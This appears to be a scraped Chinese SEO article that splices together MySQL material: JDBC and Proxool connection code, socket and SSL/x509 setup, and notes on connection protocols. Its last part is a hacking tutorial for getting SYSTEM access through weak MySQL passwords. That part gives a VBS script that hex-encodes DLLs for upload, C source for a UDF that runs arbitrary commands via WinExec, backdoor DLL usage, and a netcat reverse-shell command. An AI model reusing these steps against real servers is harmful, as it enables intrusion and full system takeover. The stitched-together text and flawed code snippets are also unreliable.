关于mysql通讯协议怎么写的信息

jsp页面中怎么导入jdbc连接mysql

在项目lib中加入mysql的jar包,然后写jdbc链接信息即可,如下提供多种链接方式希望对你有帮助

成都创新互联主要从事成都网站制作、做网站、外贸营销网站建设、网页设计、企业做网站、公司建网站等业务。立足成都服务曲周,10年网站建设经验,价格优惠、服务专业,欢迎来电咨询建站服务:028-86922220

JDBC连接MySQL

加载及注册JDBC驱动程序

Class.forName("com.mysql.jdbc.Driver");

Class.forName("com.mysql.jdbc.Driver").newInstance();

JDBC URL 定义驱动程序与数据源之间的连接

标准语法:

protocol(主要通讯协议):subprotocol(次要通讯协议,即驱动程序名称):data source identifier(数据源)

MySQL的JDBC URL格式:

jdbc:mysql//[hostname][:port]/[dbname][?param1=value1][param2=value2]….

示例:jdbc:mysql://localhost:3306/sample_db?user=rootpassword=your_password

常见参数:

user                       用户名

password                  密码

autoReconnect                  联机失败,是否重新联机(true/false)

maxReconnect              尝试重新联机次数

initialTimeout               尝试重新联机间隔

maxRows                   传回最大行数

useUnicode                 是否使用Unicode字体编码(true/false)

characterEncoding          何种编码(GB2312/UTF-8/…)

relaxAutocommit            是否自动提交(true/false)

capitalizeTypeNames        数据定义的名称以大写表示

建立连接对象

String url="jdbc:mysql://localhost:3306/sample_db?user=rootpassword=your_password";

Connection con = DriverManager.getConnection(url);

建立SQL陈述式对象(Statement Object)

Statement stmt = con.createStatement();

执行SQL语句

executeQuery()

String query = "select * from test";

ResultSet rs=stmt.executeQuery(query);

结果集ResultSet

while(rs.next())

{rs.getString(1);rs.getInt(2);}

executeUpdate()

String upd="insert into test (id,name) values(1001,xuzhaori)";

int con=stmt.executeUpdate(upd);

execute()

示例:

try

{

}

catch(SQLException sqle)

{

}

finally

{

}

Java类型和SQL类型 技术手册P421

PreparedStatement(预编语句)

PreparedStatement stmt = conn.prepareStatement("insert into test(id,name)values(?,?)");

stmt.setInt(1,id);

stmt.setString(2,name);

注:一旦设定语句的参数值后,就可以多次执行改语句,直到调用clearParameters()方法将他清除为止

CallableStatement(预储程序)技术手册P430

JDBC2.0使用

ResultSet对象中的光标上下自由移动

Statement stmt = con.createStatement (ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY);

ResultSet rs=stmt.executeQuery("select * from test");

public Statement createStatement(int resultSetType,int resultSetConcuttency) throws SQLException

resultSetType

TYPE_FORWARD_ONLY            只能使用next()方法。

TYPE_SCROLL_SENSITIVE        可以上下移动,可以取得改变后的值。

TYPE_SCROLL_INSENSITIVE      可以上下移动。

resultSetConcuttency

CONCUR_READ_ONLY        只读

CONCUR_UPDATABLE        ResultSet对象可以执行数据库的新增、修改、和移除

直接使用ResultSet对象执行更新数据

新增数据

Statement stmt=con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_PUDATABLE);

ResultSet uprs=stmt.executeQuery("select * from test");

uprs.moveToInsertRow();

uprs.updateInt(1,1001);

uprs.updateString(2,"许召日");

uprs.insertRow;

更新数据

Statement stmt=con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_PUDATABLE);

ResultSet uprs=stmt.executeQuery("select * from test");

uprs.last();

uprs.updateString("name","");

uprs.updateRow;

删除数据

Statement stmt=con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_PUDATABLE);

ResultSet uprs=stmt.executeQuery("select * from test");

uprs.absolute(4);

uprs.deleteRow();

批处理

con.setAutoCommit(false); 关闭自动认可模式

Statement stmt=con.createStatement();

int[] rows;

stmt.addBatch("insert into test values(1001,xuzhaori)");

stmt.addBatch("insert into test values(1002,xuyalin)");

rows=stmt.executeBatch();

con.commit(); 没有任何错误,执行批处理stmt.executeBatch();

JNDI-数据源(Data Source)与连接池(Connection Pool)

Tomcat的JDBC数据源设置 技术手册P439

连接池工具-Proxool Var 0.8.3 技术手册P446

设置web.xml

?xml version="1.0" encoding="ISO-8859-1"?

!--?xml version="1.0" encoding="GB2312"?--

web-app xmlns=""

xmlns:xsi=""

xsi:schemaLocation=""

version="2.4"

….

servlet

servlet-nameServletConfigurator/servlet-name

servlet-classorg.logicalcobwebs.proxool.configuration.ServletConfigurator/servlet-class

init-param

param-namepropertyFile/param-name

param-valueWEB-INF/classes/Proxool.properties/param-value

/init-param

load-on-startup1/load-on-startup

/servlet

后端统计端口添加下列

servlet

servlet-nameAdmin/servlet-name

servlet-classorg.logicalcobwebs.proxool.admin.servlet.AdminServlet/servlet-class

/servlet

servlet-mapping

servlet-nameAdmin/servlet-name

url-pattern/Admin/url-pattern

/servlet-mapping

….

/web-app

配置Proxool.properties

jdbc-0.proxool.alias=JSPBook

jdbc-0.proxool.driver-class=com.mysql.jdbc.Driver

jdbc-0.proxool.driver-url=jdbc:mysql://localhost:3306/sample_db?user=rootpassword=browseruseUnicode=truecharacterEncoding=UTF-8

jdbc-0.proxool.maximum-connection-count=10

jdbc-0.proxool.prototype-count=4

jdbc-0.proxool.house-keeping-test-sql=select CURRENT_DATE

jdbc-0.proxool.verbose=true

jdbc-0.proxool.statistics=10s,1m,1d    后端统计接口添加此行

jdbc-0.proxool.statistics-log-level=DEBUG

使用Proxool连接池

Connection con = DriverManager.getConnection("proxool.JSPBook");

Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE);

String query = "SELECT * FROM employee";

ResultSet rs = stmt.executeQuery(query);

mysql 两种连接方式和SSL连接、x509认证

mysql连接可分为socket连接和TCP|IP连接两种。

[root@localhost bin]# mysql -uroot -p123456 -S/tmp/mysql.sock

-S/tmp/mysql.sock可以省略,因为默认参数如下:

假如sock文件另有其它,那么就后面不能省略,需要指定下。

mysql -h127.0.0.1 -P3306 -uroot -p123456

那么问题来了,如何知道当前连接的连接方式?

查看当前连接方式,使用\s 或者status命令

Connection: Localhost via UNIX socket 表示使用 socket 进行本地的连接

SSL: Not in use 没有使用SSL

Connection: 127.0.0.1 via TCP/IP 使用TCP/IP 协议进行远程连接

SSL: Cipher in use is ECDHE-RSA-AES128-GCM-SHA256 使用了SSL加密

mysql5.7默认是使用SSL的方式来进行通讯的。

/s输出SSL: Not in use,说明当前没有使用SSL连接。

再看下error.log有一个waning:failed to set up SSL because of the following SSL liberary error:SSL context is not usable withut certificate and private key。公密钥文件不存在,所以无法启用SSL的连接方式。

1、进入bin目录执行命令: mysql_ssl_rsa_setup 在/data 根目录 生成相关的*.pem 密钥文件。

2、对新生成到pem文件授权chown mysql:mysql *.pem

3、 /etc/init.d/mysqld restart 重启mysql

4、进入命令客户端执行\s

使用IP/TCP远程连接时,\s输出 SSL: Cipher in use is ECDHE-RSA-AES128-GCM-SHA256。说明已经用上SSL加密。

使用socket进行本地连接,就不会使用SSL加密。\s输出SSL: Not in use;

因为SSL开启可能有性能影响。如果不希望使用ssl加密登录连接,那么可以使用下面命令进行禁用:mysql -h127.0.0.1 -uroot -p123456 --ssl-mode=DISABLED

强制一个用户使用ssl

之后david用户就必须使用ssl登录了,否则报错如下:

取消一个用户强制使用ssl

x509认证在开启SSL的基础下,还强制指定用户必须使用client-cert.pem和client-key.pem证书、密钥文件来登录,否则登录不了。x509是mysql最高等级的认证机制。

之前已经在data根目录生成了8个 *.pem文件

把其中client-cert.pem和client-key.pem导出

如下,再使用之前的命令登录。发现登录不了了。

此时想要登录必须在客户端指定SSL CERT File和SSL Key File 如下在navicat中

在mysql workbench中

以下哪个不是与mysql服务器相互作用的通讯协议

以下哪个不是与mysql服务器相互作用的通讯协议

TCP/IP协议,通常我们通过来连接MySQL,各种主要编程语言都是根据这个协议实现了连接模块

Unix

Socket协议,这个通常我们登入MySQL服务器中使用这个协议,因为要使用这个协议连接MySQL需要一个物理文件,文件的存放位置在配置文件中有定义,值得一提的是,这是所有协议中最高效的一个。

Share

Memory协议,这个协议一般人不知道,肯定也没用过,因为这个只有windows可以使用,使用这个协议需要在配置文件中在启动的时候使用

–shared-memory参数,注意的是,使用此协议,一个host上只能有一个server,所以这个东西一般没啥用的,除非你怀疑其他协议不能正

常工作,实际上微软的SQL

Sever也支持这个协议

Named Pipes协议,这个协议也是只有windows才可以用,同shared

memory一样,使用此协议,一个host上依然只能有一个server,即使是使用不同的端口也不行,Named Pipes

是为局域网而开发的协议。内存的一部分被某个进程用来向另一个进程传递信息,因此一个进程的输出就是另一个进程的输入。第二个进程可以是本地的(与第一个

进程位于同一台计算机上),也可以是远程的(位于联网的计算机上)。正因为如此,假如你的环境中没有或者禁用TCP/IP环境,而且是windows服务

器,那么好歹你的数据库还能工作。使用这个协议需要在启动的时候添加–enable-named-pipe选项

本地程序和本地数据库MySQL的通信?

地程序和本地数据库 MySQL 的通信通常是通过网络套接字进行的。网络套接字是指用于在计算机网络中传输数据的通信端口,可以用于实现计算机之间的数据传输。

MySQL 数据库提供了一个网络套接字协议,可以让程序通过网络套接字与数据库通信。程序可以通过发送 SQL 语句来执行数据库操作,并通过接收 MySQL 数据库的响应来获取执行结果。

要进入该程序的内部数据库,需要使用程序提供的数据库访问接口,并输入正确的数据库用户名和密码。通常情况下,只有拥有足够权限的用户才能进入数据库。如果你没有足够的权限,可以尝试联系数据库管理员或者系统管理员,请求授予你访问数据库的权限。

另外,你还可以尝试使用数据库管理工具(比如 MySQL Workbench)来访问数据库。这些工具通常提供了一个图形化的界面,可以方便地执行数据库操作,并显示执行结果。你只需要输入正确的数据库连接信息(包括主机名、端口号、用户名和密码)即可访问数据库。

【MySQL】关于 mysql.sock

mysql.sock是MySQL的主机和客户机在同一host上的时候,使用unix domain socket做为通讯协议的载体,它比tcp快。

MySQL有两种连接方式: 

(1)TCP/IP 

(2)socket 

其实windows下还支持管道连接方式。

对mysql.sock来说,其作用是程序与MySQLserver处于同一台机器,发起本地连接时可用。 

例如你无须定义连接host的具体IP,只要为空或localhost就可以。 

在此种情况下,即使你改变MySQL的外部port也是一样可能正常连接。 

因为你在my.ini中或my.cnf中改变端口后,mysql.sock是随每一次 mysql server启动生成的,经根据你在更改完my.cnf后重启mysql时重新生成了一次,信息已跟着变更。

那么对于外部连接,必须是要变更port才能连接的。

# systemctl status mysqld

# mysql  --help

mysql.sock 文件解析

mysql.sock文件作用

How to Protect or Change the MySQL Unix Socket File

Missing mysqld.sock file?

How to solve “Can't connect to local MySQL server through socket” error?

如何查看mysql注册的udf

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到!

首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF

DLL中自写的Function函数,而执行任意命令。

思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦!

下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法):

set @a =

concat('',0x0123abc1312389…..);

set @a = concat(@a,0x4658978abc545e……);

………………….

create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob

insert into Mix values("");update Mix set data = @a;//@a插入表Mix

select

data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//导出表中内容为文件

前两句很熟悉把,这个就是我们以前注入的时候,绕过’的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。

后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下:

fp=wscript.arguments(0

fn=right(fp,len(fp)-instrrev(fp,"\"))

with

createobject("adodb.stream")

.type=1:.open:.loadfromfile

fp:str=.read:sl=lenb(str)

end with

sll=sl mod 65536:slh=sl\65536

with

createobject("scripting.filesystemobject").opentextfile(fp".txt",2,true)

.write "set @a = concat('',0x"

for i=1 to sl

bt=ascb(midb(str,i,1))

if bt16 then .write "0"

.write hex(bt)

if i mod 128=0 then

.write ");" vbcrlf "set @a = concat(@a,0x"

next

end with

好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set

@a = concat('',0x”删除了,加上建表,插值得那三句代码即可!

脚本生成了,如何上传?先登陆mysql服务器:

C:\mysql –u root –h hostip –p

Mysqluse mysql;

//先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库

Mysql\. E:\*.dll.txt;

//这儿就是你生成的mysql脚本

按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了!

下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧!

先用mix.dll:

登陆mysql,输入命令:

Mysql \. e:\mix.dll.txt;

Mysql

CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';

//这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令!

Mysql select

Mixconnect('你的ip','8080'); //填写你的反弹ip和端口

过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1:

这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select

Mixconnect('你的ip','8080');”的时候,对方的mysql会当掉!报错,然后服务停止!

所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。

再用my_udf.dll:

Mysql\. C:\my_udf.dll.txt

Mysql CREATE FUNCTION my_udfdoor

RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';

//同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数

Mysql select my_udfdoor('’);

//这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数

好了,现在你可以不用关这个shell了,我们再开一个cmd,使用:

D:\nc hostip 3306

*

4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k”

,他是my_udfdoor默认密码,自己无法更改

过一会儿,你就有了系统权限的shell了,

由于他是hook

recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select

my_udfdoor('’);”后),不管你是否连接,只要执行了:

Mysqldrop function my_udfdoor;

后,mysql也汇报错,然后挂掉,

所以,你使用这个dll文件无法删除你的痕迹!

最后,然我们自己写一个自定义的dll文件。看能不能解决问题。

我们仅仅使用mysql 得udf的示例作模版即可!看他的示例:

#include stdlib.h

#include winsock.h

#include

mysql.h

extern "C" {

char *my_name(UDF_INIT *initid, UDF_ARGS

*args, char *is_null,

char *error);

// 兼容C

}

char

*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,

char *error)

{

char * me = "my name";

return me;

// 调用此UDF将返回 my name

}

十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了:

下面是我的一个哥们Crackme是修改的:

#include

stdlib.h

#include windows.h

#include "mysql.h"

extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS

*args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改

__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char

*is_null, char *error) //当然这儿的sys_name也得改!

{

char me[256] = {0};

if

(args-arg_count == 1){

strncpy(me,args-args[0],args-lengths[0]);

me[args-lengths[0]]='\0';

WinExec(me,SW_HIDE); //就是用它来执行任意命令

}else

strcpy(me,"do nonthing.\n");

return me;

}

好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把!

看操作:

Mysql\.

C:\sysudf.dll.txt

MysqlCreate function sys_name returns string soname

'C:\\windows\\sysudf.dll';

Mysql\. Nc.exe.txt //把nc.exe也上传上去

Mysqlselect sys_name('nc.exe -e cmd.exe 我的ip 8080');

//sys_name参数只有一个,参数指定要执行的系统命令

好,看看在Win2003中的一个反弹shell了,

当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop

function

sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。

上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。

好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?


网页标题:关于mysql通讯协议怎么写的信息
文章网址:http://csdahua.cn/article/dooggsd.html
扫二维码与项目经理沟通

我们在微信上24小时期待你的声音

解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流